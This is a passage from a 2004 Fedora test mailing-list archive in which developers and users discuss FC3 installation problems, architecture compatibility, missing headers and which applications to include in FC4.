<1100475787.4401.0.camel@davidz> Message-ID: <20041115133436.GB3964@devserv.devel.redhat.com> On Sun, Nov 14, 2004 at 06:43:07PM -0500, David Zeuthen wrote: > hal already uses O_EXCL for opening the device node when it comes to > optical drives. It is a bug in cdparanoia if it doesn't. cdparanoia tries to be portable. O_EXCL on a device node meaning exclusive ownership is an entirely Linux extension (and 2.6 at that for the general case) From alan at redhat.com Mon Nov 15 13:41:05 2004 From: alan at redhat.com (Alan Cox) Date: Mon, 15 Nov 2004 08:41:05 -0500 Subject: Need to force arch for server install... In-Reply-To: <1100484045.4696.102.camel@localhost.localdomain> References: <1100478203.3807.8.camel@localhost.localdomain> <41980000.4060400@BitWagon.com> <1100482357.4861.2.camel@localhost.localdomain> <1100484045.4696.102.camel@localhost.localdomain> Message-ID: <20041115134105.GD3964@devserv.devel.redhat.com> On Sun, Nov 14, 2004 at 08:00:45PM -0600, Kevin Freeman wrote: > simply keeping the default i686 architecture. Unless my memory has > failed, all x86 Intel-brand chips PII and higher are fully compatible > with the i686 instruction set. So are all AMD Duron, Athlon, Athlon64 The VIA is fully ompatible with the intel 686 instruction set, the problem is that gcc mistakenly used cmov which is an i686 _optional_ instruction without checking. Thus ".i686" in gcc terms and "686" in intel terms here differ. The Pentium Pro has the relevant instructions - the big PII addition is MMX which is not required. Alan From Fulko.Hew at sita.aero Mon Nov 15 14:09:42 2004 From: Fulko.Hew at sita.aero (Fulko.Hew at sita.aero) Date: Mon, 15 Nov 2004 09:09:42 -0500 Subject: Applications for FC4 Message-ID: > It does not add any functionallity other than itself, nothing of real > value to productivity etc. - those who want it can get it from Fedora > Extras. How about a simple change like adding Fedora Extras to the channel lists for yum and up2date, so dumb people like me, don't have to hunt down that kind of information. From alan at redhat.com Mon Nov 15 13:50:02 2004 From: alan at redhat.com (Alan Cox) Date: Mon, 15 Nov 2004 08:50:02 -0500 Subject: Applications for FC4 In-Reply-To: <1100487138.22508.107.camel@localhost.localdomain> References: <1100487138.22508.107.camel@localhost.localdomain> Message-ID: <20041115135002.GF3964@devserv.devel.redhat.com> On Mon, Nov 15, 2004 at 01:52:18PM +1100, Aaron Scott wrote: > Torrent on the part of Fedora's legal team considering what most people > use it for. It doesn't seem to matter these days that it can be used > ( and is used!! ) for non-pirating non-porn activities, it might cause > Fedora some greif down the track. And spammers use sendmail.. I would like to see a bit torrent client in Fedora because it is becoming a common distribution medium for legal media. Also because the way it functions you know what you are fetching so unlike some systems a legitimate user doesnt find out that their box is providing piracy services when they are doing legal stuff. > Imagine the support request to various mailing list for that! :-D The MPAA are as able as anyone else to join the fedora lists, and if people are going to ask dumb questions then the MPAA can beat them up and we can kick offending users off the list. > User: I am having trouble with a certain bit torrent. It doesn't work > in the Fedora supplied client. > Support Person: Can you please send the torrent file for testing. > User: Erm....er.....erm I would rather not. This already occurs with web browsers and porn sites 8) Alan From ernesto at ornl.gov Mon Nov 15 13:56:56 2004 From: ernesto at ornl.gov (Williams Jr, Ernest L.) Date: Mon, 15 Nov 2004 08:56:56 -0500 Subject: How to get apt for FC3 Message-ID: <1909FC5A05A75241AA6136AC9E84829B0FA8B7@ORNLEXCHANGE.ornl.gov> Hi, How does one get "apt" for FC3? Looks like yum and up2date are part of the FC3 distro but not apt? Thanks, Ernesto From alan at redhat.com Mon Nov 15 13:58:15 2004 From: alan at redhat.com (Alan Cox) Date: Mon, 15 Nov 2004 08:58:15 -0500 Subject: Applications for FC4 In-Reply-To: <1100512416.5050.3.camel@excession.dzr> References: <1100488384.4037.7.camel@localhost.localdomain> <1100490076.7257.0.camel@localhost.localdomain> <1100490671.6150.7.camel@localhost.localdomain> <1100511081l.9668l.1l@devel.mpeters.us> <1100512416.5050.3.camel@excession.dzr> Message-ID: <20041115135815.GI3964@devserv.devel.redhat.com> On Mon, Nov 15, 2004 at 09:53:37AM +0000, D. D. Brierton wrote: > Errmmmm ... Evolution is *part* of GNOME. It became part of the core > GNOME desktop with Evolution 2.0 and GNOME 2.8. You can't ship GNOME > without Evolution. Yes you can. You just don't include it. The Gnome team may define the 'official' "gnome platform" and the like but they can't force nor do they try and force it on anyone. From ernesto at ornl.gov Mon Nov 15 14:03:36 2004 From: ernesto at ornl.gov (Williams Jr, Ernest L.) Date: Mon, 15 Nov 2004 09:03:36 -0500 Subject: How to get apt for FC3 Message-ID: <1909FC5A05A75241AA6136AC9E84829B0FA8B8@ORNLEXCHANGE.ornl.gov> -----Original Message----- From: fedora-test-list-bounces at redhat.com on behalf of Williams Jr, Ernest L. Sent: Mon 11/15/2004 8:56 AM To: fedora-test-list at redhat.com Subject: How to get apt for FC3 Hi, How does one get "apt" for FC3? Okay, I went to freshrpms.net. I am in business Looks like yum and up2date are part of the FC3 distro but not apt? Thanks, Ernesto -- fedora-test-list mailing list fedora-test-list at redhat.com To unsubscribe: http://www.redhat.com/mailman/listinfo/fedora-test-list From chrisw01 at privatei.com Mon Nov 15 14:06:38 2004 From: chrisw01 at privatei.com (Christopher A. Williams) Date: Mon, 15 Nov 2004 07:06:38 -0700 Subject: Applications for FC4 In-Reply-To: <1100521282l.4139l.4l@devel.mpeters.us> References: <1100488384.4037.7.camel@localhost.localdomain> <1100490076.7257.0.camel@localhost.localdomain> <1100490671.6150.7.camel@localhost.localdomain> <1100511081l.9668l.1l@devel.mpeters.us> <1100512416.5050.3.camel@excession.dzr> <20041115110239.A13663@xos037.xos.nl> <1100521282l.4139l.4l@devel.mpeters.us> Message-ID: <1100527598.3855.6.camel@spike-home.comcast.net> On Mon, 2004-11-15 at 12:21 +0000, Michael A. Peters wrote: > > Just to make myself clear - I'm not talking about ripping that stuff > from RHEL. What I'm after is LOTD. Linux on the Desktop. > > Ticking off either the KDE or the GNOME users doesn't matter. > The path to LOTD is through the OEM - the OEM doesn't want to support > 4,5,6 CD's worth of software. > > Ticking off the current GNOME or KDE fans by choosing one and dumping > the other doesn't matter, that's not who I want to target - I want to > target the masses and masses of people who don't have a KDE or GNOME > preference because they don't use Linux. > > What these users do need is a vendor who will be able to supply phone > support, and to supply adequate phone support, your support > representatives need to be familiar with the software. Do you train > them on 4 CD's worth of software or 1 CD worth of software? > > It doesn't take a kernel developer to figure out which is both cheaper > and faster. The masses that don't use Linux now don't need servers, > that's RHEL territory - not LOTD territory. Interesting... I (via my company) just finished engineering some custom- loaded FC2 and FC3 systems with *both* GNOME and KDE for a client. We could have done XFCE as well, but didn't mainly because it wasn't as important for our needs. Assuming we hit our targets, we're going to be supporting customers across the country. The support model we came up with in doing so should be quite profitable. My point is this: LOTD as you call it, is alive and well with both GNOME and KDE. We didn't need to cut anything feature-wise to make it profitable for us. It's just a custom installed FC3 system with a few settings changed to make it install with the packages we wanted (can you say custom kickstart file?) and a centralized install server. No smoke and mirrors and it works very well. Cheers, Chris -- ==================================== "If you get to thinkin' you're a person of some influence, try orderin' someone else's dog around." --Cowboy Wisdom From mjc at avtechpulse.com Mon Nov 15 14:08:55 2004 From: mjc at avtechpulse.com (Dr. Michael J. Chudobiak) Date: Mon, 15 Nov 2004 09:08:55 -0500 Subject: Applications for FC4 In-Reply-To: References: Message-ID: <4198B877.9090605@avtechpulse.com> I'd like to see the Asterisk telephone PBX, now that a 1.0 version is out. See http://www.asterisk.org and http://www.voip-info.org/tiki-print.php?page=Asterisk+Fedora+Core+3. - Mike From charlescurley at charlescurley.com Mon Nov 15 14:19:46 2004 From: charlescurley at charlescurley.com (Charles Curley) Date: Mon, 15 Nov 2004 07:19:46 -0700 Subject: FC3 NFS install with ISO images does not work In-Reply-To: <20041115022548.51027.qmail@web53604.mail.yahoo.com> References: <20041115022548.51027.qmail@web53604.mail.yahoo.com> Message-ID: <20041115141946.GG19473@charlescurley.com> On Sun, Nov 14, 2004 at 06:25:48PM -0800, George Hill wrote: > Can you do an NFS install using ISO images with FC3 as > you could with FC2? I just tried and it did not work. > > With FC2, you could boot as linux askmethod, specify > NFS, point to an NFS-mountable directory that > contained the ISO images, and install. I tried that > with FC3 and I get a message saying that it does not > look like the directory contains Fedora. When I did a > mount -o loop ... the NFS install went fine (until it > ran out of stuff to install -- I could only mount one > iso image). Anyone else run into this? Thoughts? > Thanks, I just did an upgrade using NFS, and I had no problems. I used the rescue CD to boot the target machine, not CD 1. In exports: /misc/isos/fc3.isos 192.168.10.0/24(ro,no_root_squash,sync) and stop NFS entirely, then restart it. Also, I had the rescue CD image in the directory with the four main CDs. I don't know if the last was required or not, but that's my setup. ls /misc/isos/fc3.isos/ FC3-i386-disc1.iso FC3-i386-disc2.iso FC3-i386-disc3.iso FC3-i386-disc4.iso FC3-i386-rescuecd.iso MD5SUM My NFS host is an FC1 machine. -- Charles Curley /"\ ASCII Ribbon Campaign Looking for fine software \ / Respect for open standards and/or writing? X No HTML/RTF in email http://www.charlescurley.com / \ No M$ Word docs in email Key fingerprint = CE5C 6645 A45A 64E4 94C0 809C FFF6 4C48 4ECD DFDB -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From whooperhsd3 at earthlink.net Mon Nov 15 14:28:22 2004 From: whooperhsd3 at earthlink.net (William Hooper) Date: Mon, 15 Nov 2004 09:28:22 -0500 (EST) Subject: Need to force arch for server install... In-Reply-To: References: <1100478203.3807.8.camel@localhost.localdomain> <41980000.4060400@BitWagon.com> <1100482357.4861.2.camel@localhost.localdomain> Message-ID: <2844.12.29.16.103.1100528902.squirrel@whooper.org> Maciej ?enczykowski said: [snip] > No idea why the nptl-devel package has an i686 version. IIRC nptl doesn't work on anything less than i686. -- William Hooper From bavinic at comcast.net Tue Nov 16 14:03:47 2004 From: bavinic at comcast.net (Jim Martin) Date: Tue, 16 Nov 2004 09:03:47 -0500 Subject: How to get apt for FC3 In-Reply-To: <1909FC5A05A75241AA6136AC9E84829B0FA8B7@ORNLEXCHANGE.ornl.gov> References: <1909FC5A05A75241AA6136AC9E84829B0FA8B7@ORNLEXCHANGE.ornl.gov> Message-ID: <419A08C3.5070809@comcast.net> Williams Jr, Ernest L. wrote: >Hi, > > >How does one get "apt" for FC3? >Looks like yum and up2date are part of the FC3 distro but not apt? > > > > > >Thanks, >Ernesto > > > go to apt.freshrpms.net BaVinic From arjan at fenrus.demon.nl Mon Nov 15 14:31:06 2004 From: arjan at fenrus.demon.nl (Arjan van de Ven) Date: Mon, 15 Nov 2004 15:31:06 +0100 Subject: problem with kernel-2.6.9-1.1_FC2 initrd - can't recreate, but disturbing In-Reply-To: <20041111053444.GB25545@redhat.com> References: <20041110215721.GA25092@jadzia.bu.edu> <20041110230147.GD8800@redhat.com> <20041111003521.GA31268@jadzia.bu.edu> <20041111005430.GB25288@redhat.com> <20041111045649.GA7281@jadzia.bu.edu> <20041111050549.GA25545@redhat.com> <20041111052427.GA8207@jadzia.bu.edu> <20041111053444.GB25545@redhat.com> Message-ID: <1100529066.2936.27.camel@laptop.fenrus.org> On Thu, 2004-11-11 at 00:34 -0500, Dave Jones wrote: > On Thu, Nov 11, 2004 at 12:24:28AM -0500, Matthew Miller wrote: > > > Works fine on another test system too. *sigh* -- nothing worse than > > irreproducible results. > > > > What about ? > > that's on my list for tomorrows fun. *sigh*. any news on getting an update for this? It's a local roothole after all and my fc2 boxes could use the securing... From lux at diesel-research.com Mon Nov 15 14:52:51 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 15 Nov 2004 07:52:51 -0700 Subject: Applications for FC4 In-Reply-To: <4198B877.9090605@avtechpulse.com> References: <4198B877.9090605@avtechpulse.com> Message-ID: <1100530372.10882.0.camel@localhost.localdomain> I'd love to see this too. On Mon, 2004-11-15 at 09:08 -0500, Dr. Michael J. Chudobiak wrote: > I'd like to see the Asterisk telephone PBX, now that a 1.0 version is > out. See http://www.asterisk.org and > http://www.voip-info.org/tiki-print.php?page=Asterisk+Fedora+Core+3. > > > - Mike > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Mon Nov 15 14:54:16 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 15 Nov 2004 07:54:16 -0700 Subject: Applications for FC4 In-Reply-To: References: Message-ID: <1100530456.10882.2.camel@localhost.localdomain> I agree with this. On Mon, 2004-11-15 at 09:09 -0500, Fulko.Hew at sita.aero wrote: > > > > It does not add any functionallity other than itself, nothing of real > > value to productivity etc. - those who want it can get it from Fedora > > Extras. > > How about a simple change like adding Fedora Extras to the channel lists > for yum and up2date, so dumb people like me, don't have to hunt down > that kind of information. > > > > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Mon Nov 15 14:55:42 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 15 Nov 2004 07:55:42 -0700 Subject: No sound on laptop, any progress? In-Reply-To: <1100520795.14450.13.camel@zm226.zmet.agh.edu.pl> References: <1100520795.14450.13.camel@zm226.zmet.agh.edu.pl> Message-ID: <1100530542.10882.4.camel@localhost.localdomain> Could you report that to the bugzilla entry on this. On Mon, 2004-11-15 at 13:13 +0100, Borkowski Dariusz wrote: > I installed FC3 final on formatted / pratinion = it was clean install. > > Darek Borkowski > > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Mon Nov 15 14:58:03 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 15 Nov 2004 07:58:03 -0700 Subject: Lost hard drivers In-Reply-To: References: Message-ID: <1100530684.10882.6.camel@localhost.localdomain> What does hardware browser show for disks ? On Mon, 2004-11-15 at 02:00 -0800, JERRY WHITMIRE wrote: > Hi Jerry here > I guess i needed to explain where i lost the hard drives it is not in the > boot up they were in Kde. and > Gnome desktop. my Fedora 3 test 3 boots fine. these drives are in the boot > up grub config.file. > I can boot to them from there. Have did a fresh install and have mounted the > drives and am trying to get it updated again. That is the hard part. > Thanks to all of the people that help so for it is very helpful. > > Jerry W. Whitmire > jerryw4386 at msn.com > > _________________________________________________________________ > Dont just search. Find. Check out the new MSN Search! > http://search.msn.click-url.com/go/onm00200636ave/direct/01/ > -- Kim Lux (Mr.) Diesel Research Inc From contact at bchilds.com Mon Nov 15 15:00:01 2004 From: contact at bchilds.com (Ben Childs) Date: Mon, 15 Nov 2004 10:00:01 -0500 Subject: Fedora Core 3: Epson Perfection 1650 USB Scanner only, recognized as "root" In-Reply-To: <20041115135021.417CA74550@hormel.redhat.com> References: <20041115135021.417CA74550@hormel.redhat.com> Message-ID: <4198C471.9010400@bchilds.com> >>The question then is how one could trigger this permission change while >>logging in to the local console. >> >> > >See the bug in bugzilla about this: > > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=121511 > >Tim. > > Hi there, this is an issue with the way libusb works, just go here for detailed instructions on how to set up hotplug to set the permissions: http://www.freecolormanagement.com/sane/libusb.html -Ben Childs From lux at diesel-research.com Mon Nov 15 15:06:12 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 15 Nov 2004 08:06:12 -0700 Subject: ioctl.h and others not found for build in FC3 Message-ID: <1100531172.10882.14.camel@localhost.localdomain> I installed FC3 personal on our server. I booted it. I used Add/Remove Applications to add all the development tools to it. (I had no mouse support during install setup.) I tried to build ndiswrapper so I could get wireless working. I got errors, the first being: stlib.h: no such file or directory stdio.h: no such file or directory errno.h: no such file or directory ctype.h ditto ioctl.h ditto etc. "# find / -name ioctl.h" finds 4 files in /lib/modules/2.6.9-1-667/build/include/... What is missing from this installation ? -- Kim Lux (Mr.) Diesel Research Inc From alan at redhat.com Mon Nov 15 15:06:36 2004 From: alan at redhat.com (Alan Cox) Date: Mon, 15 Nov 2004 10:06:36 -0500 Subject: problem with kernel-2.6.9-1.1_FC2 initrd - can't recreate, but disturbing In-Reply-To: <1100529066.2936.27.camel@laptop.fenrus.org> References: <20041110215721.GA25092@jadzia.bu.edu> <20041110230147.GD8800@redhat.com> <20041111003521.GA31268@jadzia.bu.edu> <20041111005430.GB25288@redhat.com> <20041111045649.GA7281@jadzia.bu.edu> <20041111050549.GA25545@redhat.com> <20041111052427.GA8207@jadzia.bu.edu> <20041111053444.GB25545@redhat.com> <1100529066.2936.27.camel@laptop.fenrus.org> Message-ID: <20041115150636.GA21343@devserv.devel.redhat.com> On Mon, Nov 15, 2004 at 03:31:06PM +0100, Arjan van de Ven wrote: > > > What about ? > > > > that's on my list for tomorrows fun. *sigh*. > > any news on getting an update for this? It's a local roothole after all > and my fc2 boxes could use the securing... 2.6.9-ac runs nicely on Fedora Core 3 ;) Alan From kyrre at solution-forge.net Mon Nov 15 15:10:43 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 15 Nov 2004 16:10:43 +0100 Subject: Applications for FC4 In-Reply-To: <1100511081l.9668l.1l@devel.mpeters.us> References: <1100488384.4037.7.camel@localhost.localdomain> <1100490076.7257.0.camel@localhost.localdomain> <1100490671.6150.7.camel@localhost.localdomain> <1100511081l.9668l.1l@devel.mpeters.us> Message-ID: <1100531442.2745.66.camel@kyrre> man, 15.11.2004 kl. 10.31 skrev Michael A. Peters: > On 11/14/2004 07:51:11 PM, Temlakos wrote: > > > > > I realize that we're likely to expand Fedora Core 4 to fill up all > > four > > disks and maybe even break into a fifth disk. But, hey--some distros > > out > > there have as many as six. > > I have a different philosophy. > Get it down to two disks - one install and one devel tools/headers > Pick either KDE or GNOME but not both - I say GNOME. > Dump evolution - it's become too bloated. Balsa is very good, and if > they put the resources in balsa that they have to put into Evolution - > Balsa would absolutely rock - as long as KISS is kept - no bloat! > Dump OpenOffice.org > AbiWord and Gnumeric are much better - cleaner interface, less bloat. > Granted - OO.o has a powerpoint clone. But it's still a slow bloated > piece of junk. > Get rid of Sendmail. Go with Postfix. > Get rid of vixie-cron/anacron. Go with fcron > Get rid of *SQL, PHP, Apache, etc. Gone. > > Sure - users can still choose that other stuff. That's what yum is for. > > You get fedora down to one install CD and one developer CD with apps > that are consistant interface (I say gnome/gtk2+) and then OEM's have a > reason to bundle it - their support staff doesn't have to learn 4 CD's > worth of software to help Joe 5-pack (one beer short of a six-pack) out > when he calls their support line asking how to set up AOL for Linux. > > Oh - and one more thing - don't set up networking until after install. > That way things like PPPoE can be configured during first boot. > > Granted - my desire is for Fedora to become a good base for OEM's to > use for Linux on the Desktop. Lindows was a flawed concept from the > start, LotD needs something better. Red Hat's desire is to use Fedora > as somewhat of a testing ground for RHEL etc. Since they control the > project, I guess they win. *sigh* > While i agree strongly on your *principe* (i was almost going to throw it up myself), i think you are a bit to radical. IMO. Fedora should provide the things you need (ie. kernel/hal/etc., GNOME/KDE (to late to get "rid" of KDE now...), OpenOffice, Evolution, gimp, firefox, gui package manager, plus server tools - but i dont think Fedora should grow into a *has it all* distro. Why? Developer time. Fedora CORE is maintained by inhouse RH developers, and they are limited in number and time. Give them a few important packages to concentrate on, don't bog them down with everything. That is what extras are for. When i have said that - i think that fedora extras should be more tightly integrated with core - i.e. anaconda should give you an option to include extras in yum.conf, and extras should provide an extra CD (or more) to use during install (not all of us are on broadband...) Just my 0.02$. Kyrre From arjan at fenrus.demon.nl Mon Nov 15 15:15:51 2004 From: arjan at fenrus.demon.nl (Arjan van de Ven) Date: Mon, 15 Nov 2004 16:15:51 +0100 Subject: problem with kernel-2.6.9-1.1_FC2 initrd - can't recreate, but disturbing In-Reply-To: <20041115150636.GA21343@devserv.devel.redhat.com> References: <20041110215721.GA25092@jadzia.bu.edu> <20041110230147.GD8800@redhat.com> <20041111003521.GA31268@jadzia.bu.edu> <20041111005430.GB25288@redhat.com> <20041111045649.GA7281@jadzia.bu.edu> <20041111050549.GA25545@redhat.com> <20041111052427.GA8207@jadzia.bu.edu> <20041111053444.GB25545@redhat.com> <1100529066.2936.27.camel@laptop.fenrus.org> <20041115150636.GA21343@devserv.devel.redhat.com> Message-ID: <1100531750.2936.29.camel@laptop.fenrus.org> On Mon, 2004-11-15 at 10:06 -0500, Alan Cox wrote: > On Mon, Nov 15, 2004 at 03:31:06PM +0100, Arjan van de Ven wrote: > > > > What about ? > > > > > > that's on my list for tomorrows fun. *sigh*. > > > > any news on getting an update for this? It's a local roothole after all > > and my fc2 boxes could use the securing... > > 2.6.9-ac runs nicely on Fedora Core 3 ;) I guess I could just package that into rpms... From kyrre at solution-forge.net Mon Nov 15 15:12:46 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 15 Nov 2004 16:12:46 +0100 Subject: Applications for FC4 In-Reply-To: <1100487138.22508.107.camel@localhost.localdomain> References: <1100487138.22508.107.camel@localhost.localdomain> Message-ID: <1100531566.2745.71.camel@kyrre> man, 15.11.2004 kl. 03.52 skrev Aaron Scott: > Definatly Anjuta should be there. > > Some creative justifications might be required for the inclusion of > Bit Torrent on the part of Fedora's legal team considering what most > people use it for. It doesn't seem to matter these days that it can > be used ( and is used!! ) for non-pirating non-porn activities, it > might cause Fedora some greif down the track. > > Imagine the support request to various mailing list for that! :-D > > User: I am having trouble with a certain bit torrent. It doesn't work > in the Fedora supplied client. > Support Person: Can you please send the torrent file for testing. > User: Erm....er.....erm I would rather not. > > Mind you that is just my humble opinion. Avoid trouble where you can. > > On Mon, 2004-11-15 at 10:40 +0800, joelbryan wrote: > > This where just mere application request, an open discussion of > > suggested software hoping to be release for FC4. > > > > I got lot' of application request, here are them as follows > > > > - Inkscape - A good SVG editor for Gnome, coz it always end up > > fronting Gimp as a Paint substitute. > > - BitTorrent - I think there's reasons to include this. > > - Dr. Python - an IDE for Python. > > - Anjuta - C/C++ IDE > > > > > ______________________________________________________________________ > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list Now M$ is including mp3, and everybody know what everybody is using it for. The RIAA don't kick them down for that (they just pay them money to push WMA) From kyrre at solution-forge.net Mon Nov 15 15:14:21 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 15 Nov 2004 16:14:21 +0100 Subject: FC3 NFS install with ISO images does not work In-Reply-To: <20041115022548.51027.qmail@web53604.mail.yahoo.com> References: <20041115022548.51027.qmail@web53604.mail.yahoo.com> Message-ID: <1100531661.2745.74.camel@kyrre> make sure you only have the install images in the dir, or anaconda WILL screw up. Install images does not include rescuecd ;) man, 15.11.2004 kl. 03.25 skrev George Hill: > Can you do an NFS install using ISO images with FC3 as > you could with FC2? I just tried and it did not work. > > With FC2, you could boot as linux askmethod, specify > NFS, point to an NFS-mountable directory that > contained the ISO images, and install. I tried that > with FC3 and I get a message saying that it does not > look like the directory contains Fedora. When I did a > mount -o loop ... the NFS install went fine (until it > ran out of stuff to install -- I could only mount one > iso image). Anyone else run into this? Thoughts? > Thanks, > > Geo Hill > > > > > __________________________________ > Do you Yahoo!? > Check out the new Yahoo! Front Page. > www.yahoo.com > From kyrre at solution-forge.net Mon Nov 15 15:16:11 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 15 Nov 2004 16:16:11 +0100 Subject: Need to force arch for server install... In-Reply-To: References: <1100478203.3807.8.camel@localhost.localdomain> <41980000.4060400@BitWagon.com> <1100482357.4861.2.camel@localhost.localdomain> Message-ID: <1100531771.2745.78.camel@kyrre> i think athlon was dropped when the 2.6 series kernels came. man, 15.11.2004 kl. 02.53 skrev Maciej ?enczykowski: > > What if I forced everything to i386 to start with ? Would it then run > > on every x86 machine ? > > > > We use removable hard drives for a lot of things are it would be great > > if they ran on *everything*. Would an i386 kernel do that ? Would I > > have to change glibc as well ? > > [root at gaia core]# find -type f | grep "\.rpm\$" | grep -v > "\.noarch\.rpm\$" | grep -v "\.i386\.rpm\$" > ./3/i386/os/Fedora/RPMS/glibc-2.3.3-74.i686.rpm > ./3/i386/os/Fedora/RPMS/nptl-devel-2.3.3-74.i686.rpm > ./3/i386/os/Fedora/RPMS/kernel-2.6.9-1.667.i586.rpm > ./3/i386/os/Fedora/RPMS/kernel-2.6.9-1.667.i686.rpm > ./3/i386/os/Fedora/RPMS/kernel-smp-2.6.9-1.667.i586.rpm > ./3/i386/os/Fedora/RPMS/kernel-smp-2.6.9-1.667.i686.rpm > ./3/i386/os/Fedora/RPMS/openssl-0.9.7a-40.i686.rpm > > So basically only the kernel, the glibc and the openssl packages are not > noarch or i386. Replacing those with the generic i386 packages would > (most likely) suffice. No idea why the nptl-devel package has an i686 > version. > > I also fail to see any athlon packages (kernel or otherwise)... > > Cheers, > MaZe. From cra at WPI.EDU Mon Nov 15 15:20:51 2004 From: cra at WPI.EDU (Charles R. Anderson) Date: Mon, 15 Nov 2004 10:20:51 -0500 Subject: ioctl.h and others not found for build in FC3 In-Reply-To: <1100531172.10882.14.camel@localhost.localdomain> References: <1100531172.10882.14.camel@localhost.localdomain> Message-ID: <20041115152051.GD14135@angus.ind.WPI.EDU> On Mon, Nov 15, 2004 at 08:06:12AM -0700, Kim Lux wrote: > stlib.h: no such file or directory > stdio.h: no such file or directory > errno.h: no such file or directory > ctype.h ditto > ioctl.h ditto glibc-headers From fox3ec208 at wideopenwest.com Mon Nov 15 15:25:45 2004 From: fox3ec208 at wideopenwest.com (Terry Polzin) Date: Mon, 15 Nov 2004 10:25:45 -0500 Subject: FC3 NFS install with ISO images does not work In-Reply-To: <1100531661.2745.74.camel@kyrre> References: <20041115022548.51027.qmail@web53604.mail.yahoo.com> <1100531661.2745.74.camel@kyrre> Message-ID: <200411151025.46509.fox3ec208@wideopenwest.com> On Monday 15 November 2004 10:14, Kyrre Ness Sjobak wrote: > make sure you only have the install images in the dir, or anaconda WILL > screw up. Install images does not include rescuecd ;) > > man, 15.11.2004 kl. 03.25 skrev George Hill: > > Can you do an NFS install using ISO images with FC3 as > > you could with FC2? I just tried and it did not work. > > > > With FC2, you could boot as linux askmethod, specify > > NFS, point to an NFS-mountable directory that > > contained the ISO images, and install. I tried that > > with FC3 and I get a message saying that it does not > > look like the directory contains Fedora. When I did a > > mount -o loop ... the NFS install went fine (until it > > ran out of stuff to install -- I could only mount one > > iso image). Anyone else run into this? Thoughts? > > Thanks, What image did you boot with. I have found that you need to boot from the boot.iso from CD#1 or from the rescue CD for that version. The boot.iso image from a different version gives me messages like the ones you describe. From whb at ceimaine.org Mon Nov 15 15:29:03 2004 From: whb at ceimaine.org (Will Backman) Date: Mon, 15 Nov 2004 10:29:03 -0500 Subject: Features for FC4 In-Reply-To: <1100285103.4092.15.camel@cei3772.empower.ceimaine.org> References: <1100112479.3955.62.camel@marius.asheville.interact> <4194BBFA.2070505@silkroad.ge> <604aa791041112072139763e6@mail.gmail.com> <4194D7A8.9080509@silkroad.ge> <1100273701.3313.113.camel@douglas-furlong.firebox.com> <1100285103.4092.15.camel@cei3772.empower.ceimaine.org> Message-ID: <1100532543.4135.4.camel@cei3772.empower.ceimaine.org> On Fri, 2004-11-12 at 13:45 -0500, Will Backman wrote: > On Fri, 2004-11-12 at 11:25 -0600, Satish Balay wrote: > > > > On Fri, 12 Nov 2004, Douglas Furlong wrote: > > > > > > >>I know this was discussed many times but I still want to know if > > > > >>it's possible to have a minimal install of fedora. > > > > I'd like to see a good SIP phone. > And a return of bsd-games. From alan at redhat.com Mon Nov 15 15:30:08 2004 From: alan at redhat.com (Alan Cox) Date: Mon, 15 Nov 2004 10:30:08 -0500 Subject: problem with kernel-2.6.9-1.1_FC2 initrd - can't recreate, but disturbing In-Reply-To: <1100531750.2936.29.camel@laptop.fenrus.org> References: <20041110230147.GD8800@redhat.com> <20041111003521.GA31268@jadzia.bu.edu> <20041111005430.GB25288@redhat.com> <20041111045649.GA7281@jadzia.bu.edu> <20041111050549.GA25545@redhat.com> <20041111052427.GA8207@jadzia.bu.edu> <20041111053444.GB25545@redhat.com> <1100529066.2936.27.camel@laptop.fenrus.org> <20041115150636.GA21343@devserv.devel.redhat.com> <1100531750.2936.29.camel@laptop.fenrus.org> Message-ID: <20041115153008.GA6953@devserv.devel.redhat.com> On Mon, Nov 15, 2004 at 04:15:51PM +0100, Arjan van de Ven wrote: > > > any news on getting an update for this? It's a local roothole after all > > > and my fc2 boxes could use the securing... > > > > 2.6.9-ac runs nicely on Fedora Core 3 ;) > > I guess I could just package that into rpms... That would actually be quite useful for getting more testing From lux at diesel-research.com Mon Nov 15 15:33:23 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 15 Nov 2004 08:33:23 -0700 Subject: ioctl.h and others not found for build in FC3 In-Reply-To: <20041115152051.GD14135@angus.ind.WPI.EDU> References: <1100531172.10882.14.camel@localhost.localdomain> <20041115152051.GD14135@angus.ind.WPI.EDU> Message-ID: <1100532803.11709.0.camel@localhost.localdomain> Thanks. On Mon, 2004-11-15 at 10:20 -0500, Charles R. Anderson wrote: > On Mon, Nov 15, 2004 at 08:06:12AM -0700, Kim Lux wrote: > > stlib.h: no such file or directory > > stdio.h: no such file or directory > > errno.h: no such file or directory > > ctype.h ditto > > ioctl.h ditto > > glibc-headers > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Mon Nov 15 16:00:49 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 15 Nov 2004 09:00:49 -0700 Subject: ioctl.h and others not found for build in FC3 In-Reply-To: <1100532803.11709.0.camel@localhost.localdomain> References: <1100531172.10882.14.camel@localhost.localdomain> <20041115152051.GD14135@angus.ind.WPI.EDU> <1100532803.11709.0.camel@localhost.localdomain> Message-ID: <1100534449.12442.2.camel@localhost.localdomain> I downloaded glibc-headers and tried to rpm it. It failed on a dependency of kernel-headers. I can't find a "kernel-headers" in the FC3 dirs. I tried installing glibc-kernheaders, but it is giving a warning of NOKEY and not installing, even with --force. What now ? Why wasn't glibc-headers installed when I added the development packages to my personal installation ? On Mon, 2004-11-15 at 08:33 -0700, Kim Lux wrote: > Thanks. > > On Mon, 2004-11-15 at 10:20 -0500, Charles R. Anderson wrote: > > On Mon, Nov 15, 2004 at 08:06:12AM -0700, Kim Lux wrote: > > > stlib.h: no such file 